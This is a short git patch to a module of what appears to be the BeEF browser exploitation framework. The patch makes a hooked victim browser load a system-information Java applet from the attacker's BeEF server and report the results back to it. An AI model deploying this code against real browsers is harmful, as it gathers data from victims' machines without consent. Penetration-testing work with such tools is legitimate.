From 1ccd322b137c52fcb96e847213900783efca9ce1 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 2 Nov 2011 11:07:24 +0000 Subject: [PATCH] Modified host/getSystemInfo module to use the attachApplet JS API git-svn-id: https://beef.googlecode.com/svn/trunk@1389 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/host/get_system_info/command.js | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/host/get_system_info/command.js b/modules/host/get_system_info/command.js index 10881f259..c701cafaa 100644 --- a/modules/host/get_system_info/command.js +++ b/modules/host/get_system_info/command.js @@ -17,8 +17,7 @@ beef.execute(function() { var internal_counter = 0; var output; - var content = ""; - $j('body').append(content); + beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', "http://"+beef.net.host+":"+beef.net.port+"/", null, null); if (beef.browser.isFF()) { @@ -36,7 +35,7 @@ beef.execute(function() { } catch (e) { internal_counter++; if (internal_counter > 30) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=time out'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after 20 seconds'); $j('#getSystemInfo').detach(); return; }